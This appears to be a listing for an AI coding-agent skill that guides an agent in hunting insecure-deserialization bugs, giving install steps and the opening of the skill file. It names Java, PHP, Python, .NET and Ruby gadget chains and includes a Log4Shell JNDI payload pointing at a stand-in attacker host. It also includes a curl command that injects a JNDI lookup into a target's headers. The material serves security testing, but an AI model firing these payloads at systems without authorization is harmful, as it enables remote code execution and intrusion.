hunt-deserialization
Agent skill fromelementalsouls/Claude-BugHunter
Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
How to install hunt-deserialization
install hunt-deserialization
# install the Claude-BugHunter pack with the skills CLI
npx skills add elementalsouls/Claude-BugHunter# or add only this skill to Claude Code: copy the folder
skills/hunt-deserialization/
# into
~/.claude/skills/hunt-deserialization/ (all projects)
.claude/skills/hunt-deserialization/ (one project)
1# HUNT-DESERIALIZATION — Insecure Deserialization23## Crown Jewel Targets45Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.67**Highest-value chains:**8- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution9- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE10- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`11- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE12- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE13- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE1415---1617## Attack Surface Signals1819### Detection Patterns20```bash21# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)22echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 052324# PHP serialization: O:8:"stdClass":0:{}25# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x022627# Apache Shiro: rememberMe cookie present28curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"2930# Log4j: test user-controlled fields for JNDI interpolation31curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/32```3334### Header / Cookie Signals35```36Content-Type: application/x-java-serialized-object37Cookie containing rO0= prefix (Java base64 serialized)38Cookie: rememberMe= (Apache Shiro)39…
Excerpt shown under the repository's MIT license.
